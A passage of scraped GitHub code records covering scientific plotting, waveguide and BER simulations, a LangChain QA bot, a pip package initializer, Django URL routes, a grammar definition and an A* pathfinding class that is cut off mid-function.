matplotlib.path import Path\nimport numpy as np\nimport math\n\n\nclass Region():\n v_points = None\n d_point = None\n lines = None\n color = None\n fill_points = None\n\n def __init__(self):\n self.v_points = []\n self.lines = []\n self.fill_points = []\n\n def get_centroid(self):\n if len(self.v_points) == 0:\n return None\n x_sum = 0\n y_sum = 0\n for point in self.v_points:\n x_sum += point.x\n y_sum += point.y\n x_avg = x_sum / len(self.v_points)\n y_avg = y_sum / len(self.v_points)\n return x_avg, y_avg\n\n def contains_point(self, coords):\n point_coords = []\n for point in self.v_points:\n point_coords.append(point.get_tuple())\n if len(point_coords) == 0:\n return False\n point_coords = np.array(point_coords)\n path = Path(point_coords)\n return path.contains_point(coords)\n\n def set_colors(self, color):\n for v_point in self.v_points:\n v_point.color = color\n for line in self.lines:\n line.color = color\n self.d_point.color = color\n self.color = color\n\n def get_min(self):\n x = 9001\n y = 9001\n for p in self.v_points:\n if p.x < x:\n x = math.ceil(p.x)\n if p.y < y:\n y = math.ceil(p.y)\n return x, y\n\n def get_max(self):\n x = -1\n y = -1\n for p in self.v_points:\n if p.x > x:\n x = math.floor(p.x)\n if p.y > y:\n y = math.floor(p.y)\n return x, y\n\n def get_neighbor_regions(self):\n regions = []\n for line in self.d_point.lines:\n other_point = line.get_other_point(self.d_point)\n if other_point.region is not None:\n regions.append(other_point.region)\n return regions\n\n def sort_fill_points(self):\n self.fill_points = sorted(self.fill_points, key=lambda p: p.y)","repo_name":"Xorgon/Map-Generator","sub_path":"map_gen/objects/region.py","file_name":"region.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"29785256688","text":"import streamlit as st\n\nfrom langchain.vectorstores import FAISS\nfrom langchain.embeddings import OpenAIEmbeddings\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.chains import RetrievalQA\n\nfrom dotenv import load_dotenv\n\n \nif __name__ == \"__main__\":\n load_dotenv()\n\n embeddings = OpenAIEmbeddings()\n documents_idx = FAISS.load_local(\"parsed_data_conv.idx\", embeddings)\n\n llm = ChatOpenAI()\n qa_chain = RetrievalQA.from_chain_type(\n llm=llm, \n chain_type=\"stuff\", \n retriever=documents_idx.as_retriever(),\n return_source_documents=True,\n )\n \n st.markdown(\"### Tinkoff QA Bot\")\n \n query = st.text_input(\"Задайте свой вопрос:\")\n if query:\n answer = qa_chain(query)\n st.markdown(\"**Ответ:**\")\n st.markdown(answer[\"result\"])\n \n message_href = [\"Подробнее:\"]\n \n for doc_i, doc in enumerate(answer[\"source_documents\"], 1):\n href = doc.metadata[\"source\"]\n href = \"https://tinkoff.ru\" + href + \"?card=q\" + str(doc.metadata[\"seq_num\"])\n message_href.append(f\"- [Ссылка]({href})\")\n \n st.markdown(\"\\n\".join(message_href))\n","repo_name":"vbugaevskii/tinkoff-qa-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17143545119","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom pip_init.templates import (\n setup_base_template, setup_line, gitignore_content, classifiers_line,\n classifiers_template)\nfrom sys import version_info\nfrom subprocess import Popen, PIPE\nfrom getpass import getuser\nimport os\n\n\ndef input_message(field_name, default_value):\n return u'{} ({}): '.format(field_name, default_value)\n\n\ndef gen_classifiers():\n mayor, minor = version_info[:2]\n python = \"Programming Language :: Python\"\n local = \"Programming Language :: Python :: {}.{}\".format(mayor, minor)\n classifiers = [python, local]\n\n classifiers_lines = ''\n for cls in classifiers:\n classifiers_lines += classifiers_line.substitute(classifier=cls)\n\n return classifiers_template.substitute(classifiers=classifiers_lines)\n\n\ndef get_username():\n '''Get git config values.'''\n username = ''\n\n # use try-catch to prevent crashes if user doesn't install git\n try:\n # run git config --global <key> to get username\n git_command = ['git', 'config', '--global', 'user.name']\n p = Popen(git_command, stdout=PIPE, stderr=PIPE)\n output, err = p.communicate()\n\n # turn stdout into unicode and strip it\n username = output.decode('utf-8').strip()\n\n # if user doesn't set global git config name, then use getuser()\n if not username:\n username = getuser()\n except OSError:\n # if git command is not found, then use getuser()\n username = getuser()\n\n return username\n\n\ndef default_values(field_name):\n if field_name == 'name':\n return os.path.relpath('.', '..')\n if field_name == 'version':\n return '0.1.0'\n elif field_name == 'description':\n return 'A pip package'\n elif field_name == 'license':\n return 'MIT'\n elif field_name == 'author':\n return get_username()\n\n\ndef get_input(input_msg, default=None):\n if version_info >= (3, 0):\n input_value = input(input_msg)\n else:\n input_value = raw_input(input_msg.encode('utf8')).decode('utf8')\n\n if input_value == '':\n return default\n return input_value\n\n\ndef write_content(file, content):\n if version_info >= (3, 0):\n file.write(content)\n else:\n file.write(content.encode('utf8'))\n\n\ndef main():\n fields = ['name', 'version', 'description', 'license', 'author']\n setup_lines = ''\n\n for field_name in fields:\n default_value = default_values(field_name)\n input_msg = input_message(field_name, default_value)\n\n input_value = get_input(input_msg, default=default_value)\n\n setup_lines += setup_line.substitute(\n name=field_name, value=input_value\n )\n\n setup_content = setup_base_template.substitute(\n setup_lines=setup_lines,\n classifiers=gen_classifiers()\n )\n\n with open('setup.py', 'w') as setup_file:\n write_content(setup_file, setup_content)\n\n with_gitignore = get_input('Generate .gitignore file [Y/n]?: ',\n default='y')\n if with_gitignore.lower() == 'y':\n with open('.gitignore', 'w') as gitignore_file:\n write_content(gitignore_file, gitignore_content)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"juanpabloaj/pip-init","sub_path":"pip_init/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"18"} +{"seq_id":"11009473634","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip() \n\ndef resolve():\n n = int(input())\n ukv = [list(map(int, input().split())) for _ in range(n)]\n\n ukv.sort()\n\n d = [-1]*n\n f = [-1]*n\n visited = [False]*n\n t = iter(range(1, 2*n+1))\n\n def dfs(v):\n d[v] = next(t)\n visited[v] = True\n for i in sorted(ukv[v][2:]):\n if not visited[i-1]:\n dfs(i-1)\n f[v] = next(t)\n\n for i in range(n):\n if not visited[i]:\n dfs(i)\n\n for i in range(n):\n print(i+1, d[i], f[i])\n\nif __name__ == '__main__':\n resolve()","repo_name":"kanji-a/competitive_programming","sub_path":"aoj/ALDS1/ALDS1_11_B.py","file_name":"ALDS1_11_B.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22110511836","text":"from __future__ import print_function\n\nimport serial\nfd = serial.Serial('/dev/ttyACM1', 9600, stopbits=1, timeout = 1.0)\n\n\nwhile 1:\n c = raw_input('Enter a character : ')\n fd.write(c)\t\n print ('Received ', fd.read())\n","repo_name":"expeyes/expeyes-programs","sub_path":"microhope/src/microhope/soft-echo.py","file_name":"soft-echo.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"42700726785","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef line_search_plots(grad_its, new_its, f):\n # extracting values\n x_g, y_g, f_g, i_g = grad_its[:, 0], grad_its[:, 1], grad_its[:, 2], grad_its[:, 3]\n x_n, y_n, f_n, i_n = new_its[:, 0], new_its[:, 1], new_its[:, 2], new_its[:, 3]\n\n # generating values for graph scale to plot input on\n stop_x = max(abs(x_g.min()), abs(x_n.min()), abs(x_g.max()), abs(x_n.max()))\n stop_y = max(abs(y_g.min()), abs(y_n.min()), abs(y_g.max()), abs(y_n.max()))\n start_x, start_y = -stop_x, -stop_y\n\n x1 = np.linspace(start_x, stop_x, 50)\n x2 = np.linspace(start_y, stop_y, 50)\n\n # converting graph values to grids to plug into function for contour lines\n X1, X2 = np.meshgrid(x1, x2)\n\n # calculating contour line values\n Z = np.empty(X1.shape)\n for i in range(X1.shape[0]):\n for j in range(X1.shape[1]):\n Z[i, j], _ = f(np.array([X1[i, j], X2[i, j]]), hess=False)\n\n # initialize plot\n fig, ax = plt.subplots(2, figsize=(10, 14))\n\n # figure 1\n # contour plot\n contours = ax[0].contour(X1, X2, Z, 50)\n # gradient points\n g_in = ax[0].plot(x_g, y_g, linestyle='dashed', marker='o', label='gradient')\n # newton points\n n_in = ax[0].plot(x_n, y_n, linestyle='dashed', marker='o', label='newton')\n\n # figure 2\n # gradient points\n g_out = ax[1].plot(i_g, f_g, label='gradient')\n # newton points\n n_out = ax[1].plot(i_n, f_n, label='newton')\n\n # figure parameters\n ax[0].set_title('Line Search Path over Function Contour Lines')\n ax[0].set_xlim([1.15 * start_x, 1.15 * stop_x])\n ax[0].set_ylim([1.15 * start_y, 1.15 * stop_y])\n ax[0].legend()\n\n ax[1].set_title('Iteration Function Values')\n ax[1].set_xlabel('Iteration')\n ax[1].set_ylabel('Function Value')\n ax[1].legend()\n\n # plt.show()\n return fig","repo_name":"sababaganoosh/numerical_optimization","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71337192359","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport scipy.optimize as spo\nimport tkinter as Tk\nimport gui_stuff as gui\n\ngui.set_rcParams()\nroot = Tk.Tk()\nroot.title(\"TE Lossy Mode\")\n\ndef mTE(kfx,x):\n if kfx == 0.:\n mTE01 = x\n else:\n mTE01 = np.sin(kfx*x)/kfx\n return np.array([[np.cos(kfx*x),mTE01],[-np.sin(kfx*x)*kfx,np.cos(kfx*x)]])\n\ndef RTE(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff): \n ksx = 1j*np.sqrt(n_eff**2-epsilon_s+0j)*2*np.pi\n kf1x = np.sqrt(epsilon_f1-n_eff**2+0j)*2*np.pi\n kcx = 1j*np.sqrt(n_eff**2-epsilon_c+0j)*2*np.pi\n MTE = mTE(kf1x,d1)\n \n return (ksx*MTE[1,1]-kcx*MTE[0,0]-1j*MTE[1,0]-1j*ksx*kcx*MTE[0,1])/(ksx*MTE[1,1]+kcx*MTE[0,0]+1j*MTE[1,0]-1j*ksx*kcx*MTE[0,1])\n\ndef mode_profile(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff): # computing mode profile\n gs = np.sqrt(n_eff**2-epsilon_s+0j)*2*np.pi\n kf1x = np.sqrt(epsilon_f1-n_eff**2+0j)*2*np.pi\n gc = np.sqrt(n_eff**2-epsilon_c+0j)*2*np.pi\n \n xs = np.linspace(-2, 0, num=101, endpoint=True)\n xf1 = np.linspace(0, d1, num=101, endpoint=True)\n xc = np.linspace(d1, d1+2, num=101, endpoint=True)\n \n Fs = np.exp(gs*xs)\n Gxs = -n_eff*Fs*2*np.pi\n Gzs = gs*Fs\n \n MTE = mTE(kf1x,xf1)\n Ff1 = MTE[0,0]*Fs[-1]+MTE[0,1]*Gzs[-1]\n Gxf1 = -n_eff*Ff1*2*np.pi\n Gzf1 = MTE[1,0]*Fs[-1]+MTE[1,1]*Gzs[-1]\n \n Fc = Ff1[-1]*np.exp(-gc*(xc-d1))\n Gxc = -n_eff*Fc*2*np.pi\n Gzc = -gc*Fc\n \n return np.concatenate((Fs,Ff1,Fc)),np.concatenate((Gxs,Gxf1,Gxc)),np.concatenate((-1j*Gzs,-1j*Gzf1,-1j*Gzc)),np.concatenate((xs,xf1,xc))\n\ndef n_eff(epsilon_s,d1,epsilon_f1,epsilon_c,initial_guess):\n def func(params):\n n_eff_real, n_eff_imag = params\n return 1/np.abs(RTE(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff_real+1j*n_eff_imag)) \n result = spo.minimize(func, [np.real(initial_guess),np.imag(initial_guess)], bounds = ((np.sqrt(epsilon_s), None), (0, None)), tol = 1.e-8) \n\n return result.x[0]+1j*result.x[1] \n \ndef initialize():\n epsilon_f1_imag_double.set(.4)\n \n calculate()\n\ndef calculate():\n gui.change_cursor(root,\"trek\")\n epsilon_f1_imag = epsilon_f1_imag_double.get()\n f.clf() \n a1 = f.add_subplot(gs[0])\n a1.plot(epsilon_f_imag,np.real(n_eff_f),'b')\n a1.plot([epsilon_f_imag[0],epsilon_f_imag[-1]],[n_eff_mode,n_eff_mode],'k:')\n a1.set_xlim([epsilon_f_imag[0],epsilon_f_imag[-1]])\n a1.set_xlabel(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}$')\n a1.set_ylabel(r'$n^{\\prime}_{\\rm eff}$')\n\n a2 = f.add_subplot(gs[2]) \n a2.semilogy(epsilon_f_imag,np.imag(n_eff_f),'b')\n a2.set_xlim([epsilon_f_imag[0],epsilon_f_imag[-1]])\n a2.set_xlabel(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}$')\n a2.set_ylabel(r'$n^{\\prime\\prime}_{\\rm eff}$')\n\n a3 = f.add_subplot(gs[1]) \n a3bis = a3.twinx() \n lns1 = a3.plot(x_mode-d1/2,np.abs(F_mode),'k:')\n n_eff_lossy = np.interp(epsilon_f1_imag, epsilon_f_imag, n_eff_f)\n a1.plot(epsilon_f1_imag,np.real(n_eff_lossy),'bo')\n a2.plot(epsilon_f1_imag,np.imag(n_eff_lossy),'bo')\n F,Gx,Gz,x = mode_profile(epsilon_s,d1,epsilon_f1_real+1j*epsilon_f1_imag,epsilon_c,n_eff_lossy) # compute lossy mode profile\n lns2 = a3.plot(x-d1/2,np.abs(F),'b')\n a3.set_xlabel(r'$x/\\lambda$')\n a3.set_ylabel(r'$|E_y|/|E_y(x=0)|$') \n lns3 = a3bis.plot([x[0]-d1/2,-d1/2,-d1/2,d1/2,d1/2,x[-1]-d1/2],[epsilon_s,epsilon_s,epsilon_f1_real,epsilon_f1_real,epsilon_c,epsilon_c],'g')\n a3.axvspan(-d1/2, d1/2, color='0.875')\n a3bis.annotate(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}=$ '+str(round(epsilon_f1_imag,4)), xy=(0,(epsilon_s+epsilon_c)/2),horizontalalignment='center', verticalalignment='center')\n a3bis.set_ylabel(r'$\\varepsilon^{\\prime}$')\n a3.set_xlim([x[0]-d1/2,x[-1]-d1/2])\n a3.set_ylim([0,2])\n a3.legend(lns1+lns2+lns3,[r'$|E_y|$ ideal mode',r'$|E_y|$ lossy mode',r'$\\varepsilon^{\\prime}$'])\n \n a4 = f.add_subplot(gs[3]) \n Sx = np.real(F*np.conj(Gz))\n Sz = np.real(-F*np.conj(Gx))\n Smax = np.amax(np.sqrt(Sx**2+Sz**2))\n a4.plot(x-d1/2,Sx/Smax,'b')\n a4.set_xlabel(r'$x/\\lambda$')\n a4.set_ylabel(r'$S_x/|\\mathbf{S}|_\\mathrm{max}$')\n a4.plot([x[0]-d1/2,x[-1]-d1/2],[0,0],'k:')\n a4.set_xlim([x[0]-d1/2,x[-1]-d1/2])\n a4.set_ylim([-.02,.08])\n \n plt.tight_layout()\n \n# plt.savefig('lossy_mode.pdf',bbox_inches='tight',dpi=300, transparent=True)\n\n canvas.draw()\n gui.change_cursor(root,\"arrow\")\n \nf = plt.figure(1,[8,4.75])\ngs = mpl.gridspec.GridSpec(2, 2, width_ratios=[1, 3], height_ratios=[1, 1])\n\ncanvas = gui.create_canvas(root,f)\nmainframe = gui.create_mainframe(root)\n\nepsilon_s = 2.\nd1 = 1.\nepsilon_f1_real = 2.25\nepsilon_c = 1.\n\nepsilon_f_imag = np.linspace(0,.5, num=100)\nn_eff_mode = np.real((n_eff(epsilon_s,d1,epsilon_f1_real,epsilon_c,1.47))) # compute film waveguide mode\nF_mode,Gx,Gz,x_mode = mode_profile(epsilon_s,d1,epsilon_f1_real,epsilon_c,n_eff_mode) # compute film waveguide mode profile\nvn_eff = np.vectorize(n_eff)\nn_eff_f = vn_eff(epsilon_s,d1,epsilon_f1_real+1j*epsilon_f_imag,epsilon_c,1.47+1j*0.001)\n\nepsilon_f1_imag_double = Tk.DoubleVar()\n\ninitialize()\n\nrow = 1\nrow = gui.create_slider_with_latex(mainframe,r'absorption in film $\\varepsilon_{\\rm f}'' =$',epsilon_f1_imag_double,0,.5,row)\nrow = gui.create_spacer(mainframe,row)\nrow = gui.create_button(mainframe,\"Calculate\",calculate,row)\n\ngui.mainloop_safe_for_mac(root)","repo_name":"sskupin/theo_opt","sub_path":"lossy_mode.py","file_name":"lossy_mode.py","file_ext":"py","file_size_in_byte":5443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71849849961","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.special import erfc\n\n#Number of SNR samples \nnum_snr_samples = 10\n#SNR values in dB\nsnrdb = np.linspace(0,9,10)\n#Number of samples\nnum_samples = int(1e5)\n#Simulated BER declaration\nsim_ber = []\n#Analytical BER declaration\nana_ber = []\n\n#for SNR 0 to 10 dB\nfor i in range(0,num_snr_samples):\n #Generating AWGN, 0 mean unit variance\n noise = np.random.normal(0, 1,num_samples)\n #from dB to actual SNR\n snr = 10**(0.1*snrdb[i])\n #Received symbol in baseband\n rx = np.sqrt(snr) + noise\n #storing the index for the received symbol \n #in error\n err_ind = np.where(rx < 0)\n #calculating the total number of errors\n err_n = np.size(err_ind)\n #calcuating the simulated BER\n sim_ber.append(err_n/num_samples)\n #calculating the analytical BER\n ana_ber.append(0.5*erfc(np.sqrt(snr)/np.sqrt(2)))\n\nplt.semilogy(snrdb.T,ana_ber,label='Analysis')\n\nfor i in range(num_snr_samples):\n plt.semilogy(snrdb[i],sim_ber[i],'o',color='C'+str(i),label='simu='+str(snrdb[i]))\nplt.xlabel('SNR (Eb/No)')\nplt.ylabel('p_e')\nplt.legend()\nplt.grid()\nplt.savefig('./3.1.7.pdf')\nplt.title('p_e vs SNR ')\nplt.show()\n\n","repo_name":"Gangagopinath/ASSIGNMENT","sub_path":"digitalcommunication/codes/3/3.1.7.py","file_name":"3.1.7.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29012411540","text":"from typing import Dict\nfrom app.classes.grammar.g_and import GAnd\nfrom app.classes.grammar.g_or import GOr\nfrom app.classes.pattern_classes.pattern_variables import PatternVariable as PV\nfrom app.classes.units.all_units import UnitType\n\nGrammarUnit = PV or GOr or GAnd or UnitType\n\nFULL_GRAMMAR: Dict[PV, GrammarUnit] = {\n PV.P_BEFORE_S: GOr(UnitType.BEFORE, UnitType.BY), \n PV.P_BEFORE_T: GOr(UnitType.BEFORE, UnitType.PRIOR_TO), \n PV.P_BEFORE_E: GOr(UnitType.BEFORE, UnitType.PRIOR_TO), \n \n PV.P_AFTER_W: GOr(UnitType.AFTER, UnitType.FOLLOWING, UnitType.FROM, UnitType.OF),\n PV.P_AFTER_T: GOr(UnitType.AFTER, UnitType.FOLLOWING, UnitType.FROM),\n PV.P_AFTER_E: GOr(UnitType.AFTER),\n PV.P_AFTER: GOr(UnitType.AFTER, UnitType.LATER_THAN),\n PV.P_AFTER_PF: GOr(UnitType.FOLLOWING),\n PV.P_AFTER_I: GOr(UnitType.FOLLOWING, UnitType.AFTER),\n\n PV.P_DURING: GOr(UnitType.DURING, UnitType.THROUGHOUT, UnitType.WITHIN),\n PV.P_EXCEPT: GOr(UnitType.WITHOUT, UnitType.UNLESS, UnitType.EXCEPT),\n \n PV.CONDITIONAL_T: GOr(UnitType.WHEN),\n PV.CONDITIONAL_A: GOr(UnitType.AFTER, UnitType.IF, UnitType.IN_EVENT, UnitType.IN_CASE, UnitType.ONCE, UnitType.UPON),\n PV.CONDITIONAL_N: GOr(UnitType.UPON, UnitType.WITH),\n\n PV.AT_LEAST: UnitType.AT_LEAST,\n PV.AFTER: UnitType.AFTER,\n PV.AND: UnitType.AND,\n PV.BETWEEN: UnitType.BETWEEN,\n PV.FOR: UnitType.FOR,\n PV.FROM: UnitType.FROM,\n PV.WITHIN: UnitType.WITHIN,\n PV.UNTIL: UnitType.UNTIL,\n \n PV.TIMESPAN: GAnd(\n UnitType.TIMESPAN, \n GAnd(\n UnitType.TIME_VALUE, \n UnitType.TIME_UNIT\n )\n ),\n\n PV.DATE: UnitType.DATE,\n PV.DATE2: UnitType.DATE,\n PV.TIME_PERIOD: UnitType.TIME_PERIOD,\n \n PV.EVENT: GAnd(\n UnitType.EVENT, \n GOr(\n PV.CUSTOM_EVENT, \n PV.CONTRACT_EVENT\n )\n ),\n\n PV.CUSTOM_EVENT: GAnd(\n UnitType.CUSTOM_EVENT, \n GAnd(\n UnitType.SUBJECT,\n PV.VERB_PHRASE\n )\n ),\n \n PV.CONTRACT_EVENT: GAnd(\n UnitType.CONTRACT_EVENT, \n GAnd(\n UnitType.CONTRACT_SUBJECT, \n UnitType.CONTRACT_ACTION\n )\n ),\n\n PV.NOTICE_EVENT: GAnd(\n UnitType.NOTICE_EVENT, \n GAnd(\n UnitType.NOTICE_FROM, \n UnitType.NOTIFIER\n )\n ),\n\n PV.VERB_PHRASE: GOr(PV.IVP, PV.TVP, PV.LVP),\n PV.IVP: GAnd(UnitType.INTRANSITIVE_VERB, PV.ADV_AND_PP),\n PV.TVP: GAnd(UnitType.TRANSITIVE_VERB, PV.DOBJ_PHRASE),\n PV.LVP: GAnd(UnitType.LINKING_VERB, PV.PRED_PHRASE),\n PV.DOBJ_PHRASE: GAnd(UnitType.DOBJ, PV.ADV_AND_PP),\n\n PV.ADV_AND_PP: GOr(\n UnitType.FINAL_NODE, \n GAnd(\n UnitType.ADVERB, \n UnitType.PREP_PHRASE\n ), \n UnitType.PREP_PHRASE\n ),\n \n \n PV.PRED_PHRASE: GAnd(\n UnitType.PREDICATE, \n GOr(\n UnitType.FINAL_NODE,\n UnitType.PREP_PHRASE\n )\n ),\n}\n","repo_name":"reganmeloche/symboleo-nlp","sub_path":"app/classes/grammar/full_grammar.py","file_name":"full_grammar.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40018866655","text":"\"\"\"django_formset URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom exams import views as exam_views\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^exams/dashboard/', exam_views.dashboard.as_view(), name = 'exam_dashboard' ),\n url(r'^exams/add/', exam_views.exam_add , name = 'exam_add'),\n url(r'^exams/(?P<pk>\\d+)/edit/', exam_views.exam_edit , name = 'exam_edit'),\n url(r'^exams/getset/', exam_views.getset , name = 'getset'),\n url(r'^exams/(?P<sub_id>\\d+)/sub_delete/', exam_views.sub_delete , name = 'sub_delete'),\n]\n","repo_name":"vikashjha2050/django_formset","sub_path":"django_formset/django_formset/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32090850303","text":"from math import sqrt, pi\nimport random as random\nimport numpy as np\n\n\nclass AStarNode:\n def __init__(self,ix0,iy0,delta_x,delta_y,DistanceObstacle=1e9):\n self.G = 1e9 # G, distance parcourue\n self.H = 1e9 # H, distance a vol d'oiseau\n self.F = 1e9 # F, poids du noeud\n self.Ang = 0.0 # Angle du robot sur ce point\n self.TpsTrajet = 1e9\n self.DistanceObstacle = DistanceObstacle\n self.ix = ix0\n self.iy = iy0\n self.delta_x = delta_x\n self.delta_y = delta_y\n self.x = ix0*delta_x\n self.y = iy0*delta_y\n self.Parent = None\n self.ListO_next = None\n self.parcourus = False\n self.delta=(self.delta_x+self.delta_y)/4.0\n def setObstacle(self, NewDist):\n self.DistanceObstacle = NewDist\n def addObstacle(self,x_obs,y_obs):\n NewDist = sqrt((self.x-x_obs)**2+(self.y-y_obs)**2)\n if NewDist < self.DistanceObstacle:\n self.DistanceObstacle = NewDist\n \n def setDistanceObstacle(self,Dist):\n self.DistanceObstacle = Dist\n \n def clean(self):\n self.G = 1e9\n self.H = 1e9\n self.F = 1e9\n self.Parent = None\n self.ListO_next = None\n self.parcourus = False\n \n def printNode(self):\n print(\"G:\",self.G)\n print(\"H:\",self.H)\n print(\"F:\",self.F)\n print(\"parcourus:\",self.parcourus)\n print(self.ListO_next)\n \n def moveCost(self, current, fin,distance,Ang_new,DistObsMin,DistObsMax,VtsMax,VtsAng):\n # Vts=VtsMax/2.0\n if(self.DistanceObstacle<=DistObsMin):\n Vts=1e-9\n else :\n if(self.DistanceObstacle>=DistObsMax):\n Vts=VtsMax\n else:\n Vts=VtsMax*(self.DistanceObstacle-DistObsMin)/(DistObsMax-DistObsMin)+1e-9\n \n \n \n H_new = (sqrt((self.x-fin.x)**2+(self.y-fin.y)**2)+ random.uniform(-self.delta, self.delta))/Vts\n\n TpsTrajet_new=distance/Vts+abs(Ang_new-current.Ang)/VtsAng\n G_new = current.G + TpsTrajet_new\n \n F_new = G_new + H_new\n if self.F > F_new:\n self.H = H_new\n self.G = G_new\n self.F = F_new\n self.Ang = Ang_new\n self.TpsTrajet=TpsTrajet_new\n return True #Renvoie True si mise a jours des valeurs\n else:\n return False #Renvoie False si aucune valeurs mise a jours\n \n def addListO(self,NewNode):\n #if (NewNode.F < self.F + random.uniform(-self.delta, self.delta)):\n #if (NewNode.F < self.F):\n if (NewNode.F < self.F):\n NewNode.ListO_next = self\n return NewNode\n else :\n if (NewNode.F > self.F):\n if self.ListO_next == None :\n self.ListO_next=NewNode\n else:\n self.ListO_next=self.ListO_next.addListO(NewNode)\n return self\n else:\n if random.sample([True,False],1)[0]:\n NewNode.ListO_next = self\n return NewNode\n\n def delListO(self,Node):\n if self == Node:\n return self.ListO_next\n else:\n self.ListO_next = self.ListO_next.delListO(Node)\n return self\n \n def getListO(self):\n print(self.ix,self.iy,self.F,self.G,self.H)\n if self.ListO_next == None :\n return\n else:\n self.ListO_next.getListO()\n \n def printParcours(self):\n print(self.ix,self.iy,self.F,self.H,self.G,self.parcourus,self.ListO_next)\n if self.Parent == None :\n return\n else:\n self.Parent.printParcours()\n \n def getParcours(self,X,Y,Ang,TpsTrajet,Obs):\n X.insert(0,self.x)\n Y.insert(0,self.y)\n Ang.insert(0,self.Ang)\n TpsTrajet.insert(0,self.TpsTrajet)\n Obs.insert(0,self.DistanceObstacle)\n if self.Parent == None :\n return\n else:\n self.Parent.getParcours(X,Y,Ang,TpsTrajet,Obs)\n \nclass Pathfinder:\n def __init__(self , x_max=2000.0 , y_max=3000.0 , nb_x=200 , nb_y=300 , DistanceObstacleMin=200.0, DistanceObstacleMax=2000.0):\n self.graph=[]\n self.delta_x=x_max/nb_x\n self.delta_y=y_max/nb_y\n self.delta_xy=sqrt(self.delta_y*self.delta_y + self.delta_x*self.delta_x)\n self.TableDist=[[self.delta_xy , self.delta_y , self.delta_xy],[self.delta_x , 0.0 , self.delta_x],[self.delta_xy , self.delta_y , self.delta_xy]]\n self.TableAng=[[5.0*pi/4.0 , -pi/2.0 , -pi/4.0],[pi , 0.0 , 0.0],[3.0*pi/4.0 , pi/2.0 , pi/4.0]]\n self.x_max=x_max\n self.y_max=y_max\n self.nb_x=nb_x\n self.nb_y=nb_y\n \n self.DistanceObstacleMin = DistanceObstacleMin\n self.DistanceObstacleMax = DistanceObstacleMax\n \n self.X=np.linspace(0,self.x_max,self.nb_x)\n self.Y=np.linspace(0,self.y_max,self.nb_y)\n \n \n #self.VtsMax = VtsMax\n \n self.iObsMax_y = int(DistanceObstacleMax/self.delta_y)\n self.iObsMax_x = int(DistanceObstacleMax/self.delta_x)\n for iy in range(self.nb_y):\n self.graph.insert(iy,[])\n for ix in range(self.nb_x):\n node=AStarNode(ix,iy,self.delta_x,self.delta_y,DistanceObstacleMax)\n self.graph[iy].insert(ix,node)\n \n \n def pathfinding(self,x_start,y_start,ang_start,x_fin,y_fin,VtsMax=1000.0,VtsAng=10.0):\n ix_start = int (x_start/self.delta_x)\n iy_start = int (y_start/self.delta_y)\n ix_fin = int (x_fin/self.delta_x)\n iy_fin = int (y_fin/self.delta_y)\n \n NodeStart=self.graph[iy_start][ix_start]\n NodeFin=self.graph[iy_fin][ix_fin]\n \n NodeStart.G=0.0\n NodeStart.moveCost(NodeStart, NodeFin,0.0,ang_start,self.DistanceObstacleMin,self.DistanceObstacleMax,VtsMax,VtsAng)\n HeadListO=NodeStart\n NodeCurrent=HeadListO\n while (NodeCurrent.ix != ix_fin) | (NodeCurrent.iy != iy_fin):\n NodeCurrent.parcourus=True\n for i,j in [[-1,-1],[-1,0],[-1,1],[0,-1],[0,1],[1,-1],[1,0],[1,1]]:\n ix=i+NodeCurrent.ix\n iy=j+NodeCurrent.iy\n if (0<=ix<self.nb_x) & (0<=iy<self.nb_y):\n if (self.graph[iy][ix].DistanceObstacle>self.DistanceObstacleMin) & (self.graph[iy][ix].parcourus == False):\n if self.graph[iy][ix].moveCost(NodeCurrent,NodeFin,self.TableDist[j+1][i+1],self.TableAng[j+1][i+1],self.DistanceObstacleMin,self.DistanceObstacleMax,VtsMax,VtsAng):\n if self.graph[iy][ix].Parent != None:\n 